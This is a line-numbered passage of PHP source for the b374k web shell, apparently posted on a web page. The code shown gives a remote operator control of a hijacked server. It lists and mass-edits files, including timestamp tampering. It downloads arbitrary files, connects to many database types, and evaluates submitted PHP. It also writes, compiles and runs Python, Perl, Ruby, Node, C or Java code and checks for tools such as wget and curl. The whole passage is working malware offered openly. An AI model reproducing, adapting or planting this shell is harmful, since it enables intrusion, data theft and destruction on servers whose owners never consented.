 700                   <label for='".$s_cboxes_id."' class='css-label'></label>";
 701 
 702        $s_ldl = str_replace("__dlpath__",$s_l,$s_arc);
 703        $s_ltime = filemtime($s_l);
 704        $s_buff .= "
 705       <tr>
 706       <td style='text-align:center;text-indent:4px;'>".$s_cboxes."</td>
 707       <td class='explorelist' title='".$s_lnametit."' ondblclick=\"return go('".adds($s_lhref)."',event);\">
 708           <a href='".$s_lhref."'>".$s_lname."</a>
 709       </td>
 710       <td title='".$s_lsizetit."'>".$s_lsize."</td>
 711       ".$s_owner_html."
 712       <td style='text-align:center;'>".gp($s_l)."</td>
 713       <td style='text-align:center;' title='".$s_ltime."'>".@date("d-M-Y H:i:s",$s_ltime)."</td>
 714       <td>".$s_laction."</td>
 715       </tr>";
 716    }
 717    $s_buff .= "</tbody>";
 718 
 719    $s_extract = ""; $s_compress = "";
 720    if(class_exists("ZipArchive")){
 721        $s_extract .= "<option value='extractzip'>extract (zip)</option>";
 722        $s_compress .= "<option value='compresszip'>compress (zip)</option>";
 723    }
 724    if($s_tar){
 725        $s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
 726        $s_compress .="<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
 727    }
 728 
 729    $s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value='' disabled>-</option>".$s_compress:$s_extract.$s_compress;
 730 
 731    $s_buff .= "<tfoot><tr class='cbox_selected'>
 732           <td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td>
 733           <td>
 734           <form action='".$s_self."' method='post'>
 735           <select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'>
 736               <option value='' disabled selected>Action</option>
 737               <option value='cut'>cut</option>
 738               <option value='copy'>copy</option>
 739               <option value='paste'>paste</option>
 740               <option value='delete'>delete</option>
 741               <option value='' disabled>-</option>
 742               <option value='chmod'>chmod</option>
 743               <option value='touch'>touch</option>
 744               <option value='' disabled>-</option>
 745               ".$s_extcom."
 746           </select>
 747           <noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form>
 748           </td><td colspan='".$s_colspan."' style='text-align:left;'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id='total_selected'></span></td>
 749           </tr></tfoot>
 750           </table>";
 751 
 752    return $s_buff;
 753 }
 754 //database related functions
 755 function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
 756    if($s_sqltype == 'mysql'){ if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
 757    elseif($s_sqltype == 'mssql'){
 758        if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
 759        elseif(function_exists('sqlsrv_connect')){
 760            $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
 761            return @sqlsrv_connect($s_sqlhost,$s_coninfo);
 762        }
 763    }
 764    elseif($s_sqltype == 'pgsql'){
 765        $s_hosts = explode(":", $s_sqlhost);
 766        if(count($s_hosts)==2){
 767            $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
 768        }
 769        else $s_host_str = "host=".$s_sqlhost;
 770        if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
 771    }
 772    elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
 773    elseif($s_sqltype == 'sqlite3'){
 774        if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
 775        else return false;
 776    }
 777    elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); }
 778    elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
 779    elseif($s_sqltype == 'pdo'){
 780        if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
 781        else return false;
 782    }
 783    return false;
 784 }
 785 function sql_query($s_sqltype, $s_query, $s_con){
 786    if($s_sqltype == 'mysql') return mysql_query($s_query);
 787    elseif($s_sqltype == 'mssql'){
 788        if(function_exists('mssql_query')) return mssql_query($s_query);
 789        elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
 790    }
 791    elseif($s_sqltype == 'pgsql') return pg_query($s_query);
 792    elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query));
 793    elseif($s_sqltype == 'sqlite3') return $s_con->query($s_query);
 794    elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query);
 795    elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query);
 796    elseif($s_sqltype == 'pdo') return $s_con->query($s_query);
 797 }
 798 function sql_num_fields($s_sqltype, $s_hasil){
 799    if($s_sqltype == 'mysql') return mysql_num_fields($s_hasil);
 800    elseif($s_sqltype == 'mssql'){
 801        if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
 802        elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
 803    }
 804    elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil);
 805    elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil);
 806    elseif($s_sqltype == 'sqlite3') return $s_hasil->numColumns();
 807    elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil);
 808    elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil);
 809    elseif($s_sqltype == 'pdo') return $s_hasil->columnCount();
 810 }
 811 function sql_field_name($s_sqltype,$s_hasil,$s_i){
 812    if($s_sqltype == 'mysql') return mysql_field_name($s_hasil,$s_i);
 813    elseif($s_sqltype == 'mssql'){
 814        if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
 815        elseif(function_exists('sqlsrv_field_metadata')){
 816            $s_metadata = sqlsrv_field_metadata($s_hasil);
 817            if(is_array($s_metadata)){
 818                $s_metadata=$s_metadata[$s_i];
 819            }
 820            if(is_array($s_metadata)) return $s_metadata['Name'];
 821        }
 822    }
 823    elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i);
 824    elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1);
 825    elseif($s_sqltype == 'sqlite3') return $s_hasil->columnName($s_i);
 826    elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i);
 827    elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1);
 828    elseif($s_sqltype == 'pdo'){
 829        $s_res = $s_hasil->getColumnMeta($s_i);
 830        return $s_res['name'];
 831    }
 832 }
 833 function sql_fetch_data($s_sqltype,$s_hasil){
 834    if($s_sqltype == 'mysql') return mysql_fetch_row($s_hasil);
 835    elseif($s_sqltype == 'mssql'){
 836        if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
 837        elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
 838    }
 839    elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil);
 840    elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil);
 841    elseif($s_sqltype == 'sqlite3') return $s_hasil->fetchArray(1);
 842    elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1);
 843    elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil);
 844    elseif($s_sqltype == 'pdo') return $s_hasil->fetch(2);
 845 }
 846 function sql_num_rows($s_sqltype,$s_hasil){
 847    if($s_sqltype == 'mysql') return mysql_num_rows($s_hasil);
 848    elseif($s_sqltype == 'mssql'){
 849        if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
 850        elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
 851    }
 852    elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil);
 853    elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil);
 854    elseif($s_sqltype == 'sqlite3'){
 855        $s_metadata = $s_hasil->fetchArray();
 856        if(is_array($s_metadata)) return $s_metadata['count'];
 857    }
 858    elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil);
 859    elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil);
 860    elseif($s_sqltype == 'pdo') return $s_hasil->rowCount();
 861 }
 862 function sql_close($s_sqltype,$s_con){
 863    if($s_sqltype == 'mysql') return mysql_close($s_con);
 864    elseif($s_sqltype == 'mssql'){
 865        if(function_exists('mssql_close')) return mssql_close($s_con);
 866        elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
 867    }
 868    elseif($s_sqltype == 'pgsql') return pg_close($s_con);
 869    elseif($s_sqltype == 'oracle') return oci_close($s_con);
 870    elseif($s_sqltype == 'sqlite3') return $s_con->close();
 871    elseif($s_sqltype == 'sqlite') return sqlite_close($s_con);
 872    elseif($s_sqltype == 'odbc') return odbc_close($s_con);
 873    elseif($s_sqltype == 'pdo') return $s_con = null;
 874 }
 875 if(!function_exists('str_split')){
 876    function str_split($s_t,$s_s=1){
 877        $s_a = array();
 878        for($s_i = 0; $s_i<strlen($s_t);){
 879            $s_a[] = substr($s_t,$s_i,$s_s);
 880            $s_i += $s_s;
 881        }
 882        return $s_a;
 883    }
 884 }
 885 
 886 // appearance
 887 $s_theme = "dark"; // default is dark
 888 if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
 889 if(isset($_GP['x']) && ($_GP['x']=='switch')){
 890    if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
 891    if($s_theme=="bright") $s_theme = "dark";
 892    else $s_theme = "bright";
 893    setcookie("theme", $s_theme ,time() + $s_login_time);
 894 }
 895 
 896 $s_dark = array("#000000", "#FFFFFF", "#222222", "#4C9CAF", "#111111", "#AAAAAA", "#292929", "#363636", "#191919", "#444444", "#CCCCCC", "#999999", "#202020");
 897 $s_bright = array("#FFFFFF", "#000000", "#DDDDDD", "#B36350", "#EEEEEE", "#555555", "#D6D6D6", "#C9C9C9", "#E6E6E6", "#BBBBBB", "#333333", "#666666", "#DFDFDF");
 898 $s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000");
 899 $s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF");
 900 $s_color = ($s_theme=="bright")? $s_bright:$s_dark;
 901 $s_checkbox = ($s_theme=="bright")? $s_bright_cb:$s_dark_cb;
 902 
 903 global $s_self, $s_win, $s_posix;
 904 
 905 $s_self = "?";
 906 $s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
 907 $s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1));
 908 
 909 if(isset($_COOKIE['b374k_included'])){
 910    if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
 911    else{
 912        $s_self = "?";
 913        setcookie("b374k_included", "0" ,time() - $s_login_time);
 914        setcookie("s_self", $s_self ,time() + $s_login_time);
 915    }
 916 }
 917 else{
 918    if(strcmp($s_cek1,$s_cek2)!=0){
 919        if(!isset($_COOKIE['s_home'])){
 920            $s_home = "?".$_SERVER["QUERY_STRING"]."&";
 921            setcookie("s_home", $s_home ,time() + $s_login_time);
 922        }
 923        if(isset($s_home)) $s_self = $s_home;
 924        elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
 925        setcookie("b374k_included", "1" ,time() + $s_login_time);
 926        setcookie("s_self", $s_self ,time() + $s_login_time);
 927    }
 928    else{
 929        $s_self = "?";
 930        setcookie("b374k_included", "0" ,time() - $s_login_time);
 931        setcookie("s_self", $s_self ,time() + $s_login_time);
 932    }
 933 }
 934 
 935 if($s_auth){
 936    // server software
 937    $s_software = getenv("SERVER_SOFTWARE");
 938    // uname -a
 939    $s_system = php_uname();
 940    // check os
 941    $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
 942    // check for posix
 943    $s_posix = (function_exists("posix_getpwuid"))? true : false;
 944    // change working directory
 945    if(isset($_GP['cd'])){
 946        $s_dd = $_GP['cd'];
 947        if(@is_dir($s_dd)){
 948            $s_cwd = cp($s_dd);
 949            chdir($s_cwd);
 950            setcookie("cwd", $s_cwd ,time() + $s_login_time);
 951        }
 952    }
 953    else{
 954        if(isset($_COOKIE['cwd'])){
 955            $s_dd = ss($_COOKIE['cwd']);
 956            if(@is_dir($s_dd)){
 957                $s_cwd = cp($s_dd);
 958                chdir($s_cwd);
 959            }
 960        }
 961        else $s_cwd = cp(getcwd());
 962    }
 963 
 964    if(!$s_win && $s_posix){
 965        $s_userarr = posix_getpwuid(posix_geteuid());
 966        if(isset($s_userarr['name'])) $s_user = $s_userarr['name'];
 967        else $s_user = "$";
 968    }
 969    else {
 970        $s_user = get_current_user();
 971    }
 972 
 973    // prompt style
 974    $s_prompt = $s_user." >";
 975    // server ip
 976    $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
 977    // your ip <img src="/wp-includes/images/smilies/icon_wink.gif" alt=";-)" class="wp-smiley" />
 978    $s_my_ip = $_SERVER['REMOTE_ADDR'];
 979    $s_result = "";
 980 
 981    global $s_python, $s_perl, $s_ruby, $s_node, $s_gcc, $s_java, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
 982 
 983    $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
 984    foreach($s_access as $s){
 985        if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
 986        else{
 987            if(!isset($_COOKIE['b374k'])){
 988                $t = explode("_", $s);
 989                $t = check_access($t[1]);
 990                if($t!==false){
 991                    $$s = $t;
 992                    setcookie($s, $$s ,time() + $s_login_time);
 993                }
 994            }
 995        }
 996    }
 997 
 998    if(!empty($_GP['dltype']) && !empty($_GP['dlpath'])){
 999        ob_end_clean();
1000        $s_dltype = $_GP['dltype'];
1001        $s_dlpath = $_GP['dlpath'];
1002 
1003        $s_dlname = basename($s_dlpath);
1004        if($s_dlpath==".") $s_dlname = basename($s_cwd);
1005        elseif($s_dlpath==".."){
1006            chdir("..");
1007            $s_dlname=basename(getcwd());
1008            chdir($s_cwd);
1009        }
1010        $s_tmpdir = get_writabledir();
1011        $s_dlarchive = $s_tmpdir.$s_dlname;
1012        $s_dlthis = "";
1013        if($s_dltype=="ziparchive"){
1014            $s_dlarchive .= ".zip";
1015            if(zip($s_dlpath,$s_dlarchive)) $s_dlthis = $s_dlarchive;
1016        }
1017        elseif($s_dltype=="tar"){
1018            $s_dlarchive .= ".tar";
1019            $s_dlarchive = str_replace('\\', '/', $s_dlarchive);
1020            exe("tar cf ".$s_dlarchive." ".$s_dlpath);
1021            $s_dlthis = $s_dlarchive;
1022        }
1023        elseif($s_dltype=="targz"){
1024            $s_dlarchive .= ".tar.gz";
1025            $s_dlarchive = str_replace('\\', '/', $s_dlarchive);
1026            exe("tar czf ".$s_dlarchive." ".$s_dlpath);
1027            $s_dlthis = $s_dlarchive;
1028        }
1029        elseif($s_dltype=="raw"){
1030            if(@is_file($s_dlpath)) $s_dlthis = $s_dlpath;
1031        }
1032 
1033        if(@is_file($s_dlthis)){
1034            header("Content-Type: application/octet-stream");
1035            header('Content-Transfer-Encoding: binary');
1036            header("Content-length: ".@filesize($s_dlthis));
1037            header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";");
1038            $s_file = @fopen($s_dlthis,"rb");
1039            while(!feof($s_file)){
1040                print(@fread($s_file, 1024*8));
1041                ob_flush();
1042                flush();
1043            }
1044            fclose($s_file);
1045 
1046            if($s_dltype!="raw"){
1047                rename($s_dlthis,$s_dlthis."del");
1048                unlink($s_dlthis."del");
1049            }
1050            die();
1051        }
1052    }
1053    // download file specified by ?dl=<file>
1054    if(isset($_GP['dl']) && ($_GP['dl'] != "")){
1055        ob_end_clean();
1056        $f = $_GP['dl'];
1057        $fc = file_get_contents($f);
1058        header("Content-type: application/octet-stream");
1059        header("Content-length: ".strlen($fc));
1060        header("Content-disposition: attachment; filename=\"".basename($f)."\";");
1061        echo $fc;
1062        die();
1063    }
1064    // massact
1065    if(isset($_GP['z'])){
1066        $s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
1067        $s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
1068        $s_lists = explode("|", $s_buffer);
1069 
1070        $s_counter = 0;
1071        if(!empty($s_buffer)){
1072            if($_GP['z']=='moveok'){
1073                foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
1074                if($s_counter>0) $s_result .= notif($s_counter." items moved");
1075                else $s_result .= notif("No items moved");
1076            }
1077            elseif($_GP['z']=='copyok'){
1078                foreach($s_lists as $s_l){
1079                    if(@is_dir($s_l)){
1080                        copys($s_l,$s_cwd.basename($s_l));
1081                        if(file_exists($s_cwd.basename($s_l))) $s_counter++;
1082                    }
1083                    elseif(@is_file($s_l)){
1084                        copy($s_l,$s_cwd.basename($s_l));
1085                        if(file_exists($s_cwd.basename($s_l))) $s_counter++;
1086                    }
1087                }
1088                if($s_counter>0) $s_result .= notif($s_counter." items copied");
1089                else $s_result .= notif("No items copied");
1090            }
1091            elseif($_GP['z']=='delok'){
1092                foreach($s_lists as $s_l){
1093                    if(@is_file($s_l)){
1094                        if(unlink($s_l)) $s_counter++;
1095                    }
1096                    elseif(@is_dir($s_l)){
1097                        rmdirs($s_l);
1098                        if(!file_exists($s_l)) $s_counter++;
1099                    }
1100                }
1101                if($s_counter>0) $s_result .= notif($s_counter." items deleted");
1102                else $s_result .= notif("No items deleted");
1103            }
1104            elseif(isset($_GP['chmodok'])){
1105                $s_mod = octdec($_GP['chmodok']);
1106                foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
1107                if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
1108                else $s_result .= notif("No items modified");
1109            }
1110            elseif(isset($_GP['touchok'])){
1111                $s_datenew = strtotime($_GP['touchok']);
1112                foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
1113                if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew));
1114                else $s_result .= notif("No items modified");
1115            }
1116            elseif(isset($_GP['compresszipok'])){
1117                $s_file = $_GP['compresszipok'];
1118                if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".$s_file);
1119                else $s_result .= notif("Error creating archive file");
1120            }
1121            elseif(isset($_GP['compresstarok'])){
1122                $s_lists_ = array();
1123                $s_file = $_GP['compresstarok'];
1124                $s_file = basename($s_file);
1125 
1126                $s_lists__ = array_map("basename", $s_lists);
1127                $s_lists_ = array_map("pf", $s_lists__);
1128                exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));
1129 
1130                if(@is_file($s_file)) $s_result .= notif("Archive created : ".$s_file);
1131                else $s_result .= notif("Error creating archive file");
1132            }
1133            elseif(isset($_GP['compresstargzok'])){
1134                $s_lists_ = array();
1135                $s_file = $_GP['compresstargzok'];
1136                $s_file = basename($s_file);
1137 
1138                $s_lists__ = array_map("basename", $s_lists);
1139                $s_lists_ = array_map("pf", $s_lists__);
1140                exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));
1141 
1142                if(@is_file($s_file)) $s_result .= notif("Archive created : ".$s_file);
1143                else $s_result .= notif("Error creating archive file");
1144            }
1145            elseif(isset($_GP['extractzipok'])){
1146                $s_file = $_GP['extractzipok'];
1147                $zip = new ZipArchive();
1148                foreach($s_lists as $f){
1149                    $s_target = $s_file.basename($f,".zip");
1150                    if($zip->open($f)){
1151                        if(!@is_dir($s_target)) @mkdir($s_target);
1152                        if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".$s_target);
1153                        else $s_result .= notif("Error extrating archive file");
1154                        $zip->close();
1155                    }
1156                    else $s_result .= notif("Error opening archive file");
1157                }
1158            }
1159            elseif(isset($_GP['extracttarok'])){
1160                $s_file = $_GP['extracttarok'];
1161                foreach($s_lists as $f){
1162                    $s_target = "";
1163                    $s_target = basename($f,".tar");
1164                    if(!@is_dir($s_target)) @mkdir($s_target);
1165                    exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
1166                }
1167            }
1168            elseif(isset($_GP['extracttargzok'])){
1169                $s_file = $_GP['extracttargzok'];
1170                foreach($s_lists as $f){
1171                    $s_target = "";
1172                    if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
1173                    elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
1174                    if(!@is_dir($s_target)) @mkdir($s_target);
1175                    exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
1176                }
1177            }
1178        }
1179        setcookie("buffer", "" ,time() - $s_login_time);
1180        setcookie("massact", "" ,time() - $s_login_time);
1181    }
1182    if(isset($_GP['y'])){
1183        $s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
1184        $s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
1185        $s_lists = explode("|", $s_buffer);
1186 
1187        if(!empty($s_buffer)){
1188            if($_GP['y']=='delete'){
1189                $s_result .= notif("Delete ? <a href='".$s_self."z=delok'>Yes</a> | <a href='".$s_self."'>No</a>");
1190                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1191            }
1192            elseif($_GP['y']=='paste' && $s_massact=='cut'){
1193                $s_result .= notif("Move here ? <a href='".$s_self."z=moveok'>Yes</a> | <a href='".$s_self."'>No</a>");
1194                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1195            }
1196            elseif($_GP['y']=='paste' && $s_massact=='copy'){
1197                $s_result .= notif("Copy here ? <a href='".$s_self."z=copyok'>Yes</a> | <a href='".$s_self."'>No</a>");
1198                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1199            }
1200            elseif($_GP['y']=='chmod'){
1201                $s_result .= notif("Permissions ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1202                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1203            }
1204            elseif($_GP['y']=='touch'){
1205                $s_result .= notif("Touch ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".@date("d-M-Y H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1206                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1207            }
1208            elseif($_GP['y']=='extractzip'){
1209                $s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd."' name='extractzipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1210                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1211            }
1212            elseif($_GP['y']=='extracttar'){
1213                $s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd."' name='extracttarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1214                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1215            }
1216            elseif($_GP['y']=='extracttargz'){
1217                $s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd."' name='extracttargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1218                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1219            }
1220            elseif($_GP['y']=='compresszip'){
1221                $s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd.substr(md5(time()),0,8).".zip' name='compresszipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1222                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1223            }
1224            elseif($_GP['y']=='compresstar'){
1225                $s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd.substr(md5(time()),0,8).".tar' name='compresstarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1226                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1227            }
1228            elseif($_GP['y']=='compresstargz'){
1229                $s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".$s_cwd.substr(md5(time()),0,8).".tar.gz' name='compresstargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
1230                foreach($s_lists as $s_l) $s_result .= notif($s_l);
1231            }
1232        }
1233    }
1234 
1235    // view image specified by ?img=<file>
1236    if(isset($_GP['img'])){
1237        ob_end_clean();
1238        $s_d = isset($_GP['d'])? $_GP['d']:"";
1239        $s_f = $_GP['img'];
1240        $s_inf = @getimagesize($s_d.$s_f);
1241        $s_ext = explode($s_f, ".");
1242        $s_ext = $s_ext[count($s_ext)-1];
1243        header("Content-type: ".$s_inf["mime"]);
1244        header("Cache-control: public");
1245        header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
1246        header("Cache-control: max-age=".(60*60*24*7));#
1247        readfile($s_d.$s_f);
1248        die();
1249    } // rename file or folder
1250    elseif(isset($_GP['oldname']) && isset($_GP['rename'])){
1251        $s_old = $_GP['oldname'];
1252        $s_new = $_GP['rename'];
1253 
1254        $s_renmsg = "";
1255        if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
1256        elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
1257        else $s_renmsg = "Cannot find the path specified ".$s_old;
1258 
1259        $s_result .= notif($s_renmsg);
1260        $s_fnew = $s_new;
1261    } // confirm delete
1262    elseif(!empty($_GP['del'])){
1263        $s_del = trim($_GP['del']);
1264        $s_result .= notif("Delete ".basename($s_del)." ? <a href='".$s_self."delete=".$s_del."'>Yes</a> | <a href='".$s_self."'>No</a>");
1265    } // delete file
1266    elseif(!empty($_GP['delete'])){
1267        $s_f = $_GP['delete'];
1268        $s_delmsg = "";
1269 
1270        if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f;
1271        elseif(@is_dir($s_f)){
1272            rmdirs($s_f);
1273            $s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
1274        }
1275        else $s_delmsg = "Cannot find the path specified ".$s_f;
1276        $s_result .= notif($s_delmsg);
1277    } // create dir
1278    elseif(!empty($_GP['mkdir'])){
1279        $s_f = $s_cwd.$_GP['mkdir'];
1280        $s_dirmsg = "";
1281 
1282        $s_num = 1;
1283        if(@is_dir($s_f)){
1284            $s_pos = strrpos($s_f,"_");
1285            if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
1286            while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
1287                $s_num++;
1288            }
1289            $s_f = substr($s_f, 0, $s_pos)."_".$s_num;
1290        }
1291        if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
1292        else $s_dirmsg = "Unable to create directory ".$s_f;
1293 
1294        $s_result .= notif($s_dirmsg);
1295    } // php eval() function
1296    if(isset($_GP['x']) && ($_GP['x']=='eval')){
1297        $s_code = "";
1298        $s_res = "";
1299        $s_evaloption = "";
1300        $s_lang = "php";
1301 
1302        if(isset($_GP['evalcode'])){
1303            $s_code = $_GP['evalcode'];
1304            $s_evaloption = (isset($_GP['evaloption']))? $_GP['evaloption']:"";
1305            $s_tmpdir = get_writabledir();
1306 
1307            if(isset($_GP['lang'])){$s_lang = $_GP['lang'];}
1308 
1309            if(strtolower($s_lang)=='php'){
1310                ob_start();
1311                eval($s_code);
1312                $s_res = ob_get_contents();
1313                ob_end_clean();
1314            }
1315            elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'||strtolower($s_lang)=='node'){
1316                $s_rand = md5(time().rand(0,100));
1317                $s_script = $s_tmpdir.$s_rand;
1318                if(file_put_contents($s_script, $s_code)!==false){
1319                    $s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
1320                    unlink($s_script);
1321                }
1322            }
1323            elseif(strtolower($s_lang)=='gcc'){
1324                $s_script = md5(time().rand(0,100));
1325                chdir($s_tmpdir);
1326                if(file_put_contents($s_script.".c", $s_code)!==false){
1327                    $s_scriptout = $s_win ? $s_script.".exe" : $s_script;
1328                    $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
1329                    if(@is_file($s_scriptout)){
1330                        $s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
1331                        rename($s_scriptout, $s_scriptout."del");
1332                        unlink($s_scriptout."del");
1333                    }
1334                    unlink($s_script.".c");
1335                }
1336                chdir($s_cwd);
1337            }
1338            elseif(strtolower($s_lang)=='java'){
1339                if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
1340                    $s_classname = trim($s_r[1]);
1341                    $s_script = $s_classname;
1342                }
1343                else{
1344                    $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
1345                    $s_script = $s_rand;
1346                    $s_code = "class ".$s_rand." { ".$s_code . " } ";
1347                }
1348                chdir($s_tmpdir);
